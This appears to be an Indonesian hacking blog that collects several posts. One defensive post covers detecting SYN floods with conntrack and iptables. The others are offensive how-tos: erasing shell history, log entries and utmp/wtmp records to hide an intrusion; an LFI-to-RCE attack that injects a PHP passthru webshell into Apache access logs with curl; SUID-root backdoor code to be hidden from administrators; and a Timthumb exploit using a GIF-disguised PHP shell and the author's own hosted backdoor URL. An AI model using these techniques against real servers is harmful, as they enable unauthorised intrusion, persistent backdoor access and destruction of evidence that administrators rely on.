Selasa, 27 November 2018

Menangani Syn flood (DDoS-Attack) pada Linux Server menggunakan ConnTrack

Syn flood adalah salah satu serangan DDoS yang menyerang connection pada Server. Pada dasarnya Server sendiri tentunya memiliki connection limit (batas koneksi) untuk para pengaksesnya, disini saya akan ambil contoh yaitu Server yang pernah saya manage memiliki connection limit sekitar 64000 lebih. Syn flood sendiri bertujuan untuk membanjiri connection limit tersebut, jika berhasil memenuhi connection limit, maka user yang lainnya akan kehabisan dan tidak dapat terkoneksi ke dalam Server, karena koneksi sudah penuh.

Ilustrasi Syn flood:
Pada gambar yang sebelah kiri itu koneksi normal, kemudian pada gambar yang sebelah kanan itu menunjukan Syn flood bekerja. Akan saya jelaskan sedikit, Avatar yang berwarna hijau itu adalah seorang attacker, dimana ia sedang melakukan Syn flood.
Attacker mengirim SYN, kemudian server membalas SYN-ACK, setelah itu Attacker tidak membalas ACK, sehingga server masih menunggu, namun koneksinya masih dalam keadaan terisi (menunggu/menyangkut).
Setelah koneksi penuh, Avatar yang berwarna ungu adalah User lain, ia tidak dapat melakukan koneksi ke dalam server karena sudah penuh.

Sesuai judul disini saya akan menjelaskan tentang bagaimana cara tracking dan menangani DDoS Attack (Syn flood) menggunakan ConnTrack.
OK! Kita langsung saja.

1. Connection Tracking menggunakan ConnTrack

Install ConnTrack pada Server:
# apt-get install conntrack

ConnTrack berguna untuk memonitoring dan tracking lalu lintas koneksi yang masuk pada Server.

Note: Untuk tracking connection gunakan super user (root) terlebih dahulu.

Tracking connection yang masuk ke dalam Server menggunakan ConnTrack:
# conntrack -L | awk '{print $5}' | awk -F'=' '{print $2}' | sort | uniq -c | sort

Command di atas berguna untuk mengecek list IP Address yang sedang terkoneksi ke Server. Command tersebut sudah saya modifikasi menggunakan awk, sort, dan uniq guna untuk mencari IP yang paling banyak melakukan tcp handshake kedalam koneksi Server.

Jika kalian menemukan IP yang banyak menembak koneksi kedalam server, kalian dapat melakukan tracking dengan command di bawah ini, guna untuk memfokuskan monitoring pada sebuah IP address, sebagai contoh:
# conntrack -E | grep 127.0.0.1

2. Block IP yang melakukan Syn flood

Bilamana kalian menemukan koneksi yang tidak wajar dari IP tersebut, kalian bisa block menggunakan iptables:
# iptables -A INPUT -s 127.0.0.1 -j REJECT

Tentunya tutorial ini dibuat karena saya sendiri pernah mengalami hal tersebut dan saya mencari quick action untuk menanganinya. Bila kalian yang menemunkan cara yang lebih efektif untuk menangani Syn flood, mohon untuk share dikolom komentar dan bilamana terdapat kesalahan tentang penjelasan pada POST ini kami mohon juga untuk diberikan koreksinya. Sekian tentang artikel ini, mohon maaf kalau ada kesalahan karena kami sendiri masih banyak kekurangan dan butuh bantuan kalian semua.
Arigatou Nee~
Share:
Read More

Minggu, 25 November 2018

Covering Track sederhana pada Linux Server


Tentunya setelah artikel tentang bagaimana cara memasang Rootkit, kita membutuhkan sedikit sentuhan Covering Track, supaya Rootkit yang kita pasang itu tidak mudah untuk ditemukan.

Apa itu Covering Track?
Covering Track adalah upaya untuk menghilangkan jejak setelah melakukan penyerangan terhadap aplikasi maupun server. Berbagai macam cara untuk Covering Track salah satunya yaitu menghilangkan log aktifitas pada sebuah server.

Ok! kita langsung action saja. Hal apa saja yang perlu diperhatikan, mari kita simak.

Manipulasi command history

Mengubah arah file command history
# HISTFILE=/dev/null

Membersihkan command history
# history -c

Mencari IP Public yang kita gunakan pada logfile

Untuk mengetahui IP Public kalian masing-masing tidak perlu repot-repot karena kita dapat menggunakan sedikit bantuan Google, yaitu dengan cara mengetikan "what is my ip" pada search bar Google.

Kemudian kalian dapat trackingnya menggunakan command grep seperti di bawah ini:
# grep -Rni '103.94.XXX.XXX' /var/log/
Sesuaikan pada IP Public yang kalian gunakan, kemudian bersihkan public ip kalian dari log-log terkutuk.
Mengapa tidak langsung dihapus saja lognya?
Tentunya menghapus log adalah tindakan yang gegabah dan akan membuat admin server panik, kemudian hal yang ditakutkan yaitu server yang telah kalian retas itu tidak akan bertahan lama karena akan maintenance dan cleanup secara menyeluruh oleh adminnya.




Bersembunyi

  • WTMP, mencatat setiap ada yang login/logoff
  • UTMP, mencatat siapa yang sedang melakukan akses saat ini
  • Lastlog, mencatat source address user yang melakukan login terakhir

Kalian dapat bersembunyi dengan bantuan tool Uzapper, dapat di-download Source Codenya pada link berikut https://dl.packetstormsecurity.net/groups/shadowpenguin/unix-tools/uzapper.c.

Compile uzapper terlebih dahulu kemudian ketikan command seperti di bawah ini:
./uzapper username
* Sesuaikan dengan username yang kalian gunakan untuk mengakses server tersebut.

Setelah dijalankan username akan hilang dari rekaman utmp, wtmp, dan lastlog.

Sekian tentang cara covering track sederhana di Server Linux, semoga bermanfaat.
Share:
Read More

LFI to RCE - Inject PHP Code ke dalam Access Log


OK, diartikel pertama blog ZeroByte Core ini, kita akan membahas celah yang cukup berbahaya yaitu LFI.

Cerita sedikit, artikel ini adalah penjelasan dari artikel yang sebelumnya diterbitkan pada website medium.com yang ditulis oleh salah satu hacktivism yang saya kenal di Surabaya Hacker Link, yaitu mas Pacenoge (https://medium.com/@p4c3n0g3/lfi-to-rce-via-access-log-injection-88684351e7c0).

Apa itu LFI?

LFI (Local File Inclusion) adalah sebuah vulnerability (celah) yang biasanya terdapat pada Web Application, celah tersebut dimana sang Attacker dapat mengakses seluruh readable file (file yang dapat dibaca oleh semua user biasa atau non-root) hanya melalui input pada aplikasi tersebut (contohnya: Request GET pada sebuah URL).


  • Apakah hanya mengakses saja?
  • Bisakah kita eksekusi sampai kita dapat mengupload sebuah backdoor?


Jawabannya: Bisa!

Kita akan melakukan Injeksi terhadap access log yang digunakan pada web server tersebut tujuannya supaya kita dapat mengeksekusi celah tersebut melewati celah RCE (Remote Code Execution) yang kita buat.

Access Log pada web server itu sendiri adalah sebuah pencatatan (Log) dari seluruh request yang mengakses web server tersebut.

Ok, kita mulai.

Disini saya memiliki sample aplikasi yang terdapat celah LFI.


Contoh URL: http://target.com/index.php?page=main.php

Bagaimana cara memeriksa bahwa URL tersebut rentan terhadap LFI. Kalian dapat mengutak-atik GET pada URL tersebut (contoh: http://target.com/index.php?page=main'.php) bilamana terdapat error, maka dapat dipastikan Web tersebut rentan terhadap LFI.


Atau kalian bisa langsung memeriksa apakah lewat URL tersebut dapat mengambil file configuration pada OS seperti /etc/passwd (contoh: http://target.com/index.php?page=../../../../etc/passwd) bilamana web tersebut menampilkan configuration file, maka dapat dipastikan web tersebut juga rentan terhadap LFI.



LFI to RCE via Access Log

Pertama-tama hal yang harus dilakukan adalah Recon atau mencari dimana file access log tersebut disimpan, dengan cara melihat konfigurasi web server tersebut.

Disini saya ambil contoh target saya menggunakan Apache2 dimana konfigurasi penempatan directory log-nya terdapat di /etc/apache2/envvars. (contoh: http://target.com/index.php?page=../../../../etc/apache2/envvars)


Disini saya mendapatkan informasi bahwa APACHE_LOG_DIR=/var/log/apache2 yang menandakan bahwa log directory apache2 pada target saya terdapat di /var/log/apache2 kemudian saya mencoba membuka /var/log/apache2/access.log.


Ternyata benar bahwasanya access log target saya terdapat di "/var/log/apache2/access.log".
Contoh: http://target.com/index.php?page=../../../../var/log/apache2/access.log

Setelah itu kita lakukan eksploitasi dengan cara mengirimkan request berupa PHP Code yang berisi funtion berbahaya untuk melakukan RCE.
Disini saya menggunakan cURL untuk menginjeksi PHP Code tersebut kedalam access log.
curl -s -X GET "http://target.com/evil<pre><?php passthru(\$_GET\['cmd'\]);?></pre>";
LFI to RCE via Access Log

Setelah di-injeksi menggunakan payload curl tersebut, kita akses kembali access log-nya sekaligus menggunakan payload shell, disini saya mencoba menjalankan command id.

Contoh: http://target.com/index.php?page=../../../../var/log/apache2/access.log&cmd=id

LFI to RCE, Upload Shell LFI

Alhasil command id tersebut berhasil dieksekusi, dan sisanya kalian bisa mainkan dengan command-command shell.

Sekian dari artikel terkait "LFI to RCE - Inject PHP Code to Access Log" semoga menambah wawasan kalian untuk melakukan aktifitas hacking. Tujuan artikel ini ditulis karena kami ingin mengedukasi, bilamana terdapat pertanyaan yang sifatnya merusak milik orang lain tidak akan kami jawab, Terima kasih.


Share:
Read More

Eksploitasi Server dengan Rootkit


Mungkin banyak yang bertanya-tanya, Apa itu Rootkit? Apa yang dimaksud dengan Rootkit? Fungsi Rootkit?
OK! disini akan kita bahas secara singkat tentang Rootkit dan bagaimana Rootkit itu bekerja.

Rootkit adalah perangkat lunak jahat (malware) yang digunakan untuk mempertahankan hak akses tertinggi pada aplikasi maupun sistem operasi. Saat seorang hacker berhasil mendapatkan hak akses tertinggi yang setara dengan Administrator/Super Admin/Root biasanya untuk berjaga-jaga kalau user tertinggi tersebut diambil kembali oleh pemilik aslinya sang hacker biasanya memasang Rootkit terlebih dahulu untuk berjaga-jaga. disinilah peran Rootkit bekerja, supaya sang hacker dapat mentakeover user tersebut secara mudah.

* Ingat Rootkit dapat dipasang bilamana Super User berhasil diretas sebelumnya, dan untuk menjaga user tersebut bilamana terjadi "sesuatu" seperti Password diganti/di-reset oleh admin aslinya.


Sebagai contoh disini saya memiliki sebuah Rootkit yang bekerja pada Shell Linux

Dengan mendapatkan rootnya kembali saya hanya mengexecute file yang bernama ./rootkit tersebut.


Cara memasang Shell Rootkit

Source Code rootkit.c:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
  setuid(0);
  setgid(0);
  system("/bin/bash");
  return 0;
}

Compile Rootkit tersebut:
# gcc rootkit.c -o rootkit

Berikan permission SUID:
# chmod +s rootkit

Taruhlah rootkit ditempat yang sulit ditemukan oleh admin.

Itulah contoh Rootkit untuk Server yang menggunakan sistem operasi Linux.
Sekian artikel tentang Rootkit, semoga bermanfaat.
Share:
Read More

Sabtu, 30 Desember 2017

Exploit Timthumb 1.32 dan Membuat Payload Backdoor Untuk Timthumb


Hallo all, kali ini saya akan membahas tentang exploit yang sudah terbilang lama, tetapi masih sering dipakai oleh defacer-defacer sekarang ini. Exploit yang akan kita bahas yaitu tentang Exploit Timthumb.

Banyak yang bilang exploit Timthumb ini menggunkan teknik Remote Code Execution, tapi menurut yang saya setelah membaca dari beberapa sumber terpercaya, Teknik exploit Timthumb ini lebih mirip disebut Remote File Inclusion karena kita menggunakan Payload Backdoor dari Instance lain.

Sebelum kita melakukan Exploit, lebih baik kita bahas dulu cara membuat Payload Backdoor Timthumb tersebut untuk melakukan Exploitasi.


  • Cara Membuat Payload Backdoor Untuk Timthumb

1. Create Subdomain dan Hosting yang termasuk Allowed

$allowedSites = array (
    'flickr.com',
    'picasa.com',
    'blogger.com',
    'wordpress.com',
    'img.youtube.com',
    'upload.wikimedia.org',
);
Di atas adalah potongan source code yang saya ambil dari timthumb.php versi 1.32.
if (strpos (strtolower ($src), 'http://') !== false || strpos (strtolower ($src), 'https://') !== false)
if (strpos (strtolower ($url_info['host']), $site) !== false) 
Dari sini kita simpulkan bahwa timthumb bisa kita eksploitasi dengan menggunakan list array pada $allowedSites di atas.
Contoh:
  • flickr.com.cpanelmu.com
  • picasa.com.webkamu.com
  • Dan lain-lain yang terdapat pada $allowedSites
Intinya kamu bisa buat subdomain seperti di atas.

2. Membuat shell ekstensi .txt dan tambahkan header "gif".

GIF89a;
Header gif ini berfungsi supaya executor dalam timthumb tersebut membaca bahwa Payload Backdoor yang kamu buat adalah sebuah gambar gif.

Langsung ke intinya saja ya, kalian buat file backdoor tapi ekstensi .txt kemudian pada line paling atas tambahkan header gif tersebut.
Filename: shell.txt
GIF89a;
<?php
    # shellnya
?>

3. Buat .htaccess Rewrite

Buat file .htaccess
RewriteEngine on
RewriteRule ^shell\.php$ /shell.txt [L]
Fungsinya adalah memanggil configurasi webserver supaya dapat me Rewrite/Rename file .txt tersebut menjadi format .php.

Sekiranya dalam Root Directory Web untuk Payload Backdoor kalian:

Jika sudah berhasil kalian dapat membukanya
Contoh: http://flickr.com.webkalian.com/shell.php
Output hanya source code mentah dari php.

Atau seperti gambar di bawah ini:
Jika sudah tandanya kalian berhasil membuat Payload Backdoor tersebut.

Note: Jika kalian tidak punya domain dan hosting yang dapat create subdomain, untuk sementara kalian bisa pakai saya http://flickr.com.ehpet.net/uploader.php


  • Timthumb Exploitation

OK! untuk exploit disini saya akan samarkan nama target web tersebut.
Target tersebut menggunkan CMS Wordpress dengan Themes newspro dan memiliki timthumb versi 1.25 (karena yang dapat dieksploitasi itu hanya timthumb <= 1.32/1.32 ke bawah).

Lalu saya coba eksploitasi dengan menggunakan Payload Backdoor yang saya miliki yaitu http://flickr.com.ehpet.net/uploader.php.

Kemudian cara eksploiatsi dengan cara menambahkan ?src=URL_Backdoor pada timthumb.php seperti di bawah ini:

Tara! Jika output mengeluarkan file (yang saya drag warna hijau) seperti di atas, artinya target tersebut berhasil dieksploitasi!


Sekian dari saya,
Jika ada sesuatu hal yang kurang jelas, bisa kita diskusikan di fanspage ZeroByte.ID tercinta pada link berikut:
https://www.facebook.com/idzerobyte
Terima kasih.
Share:
Read More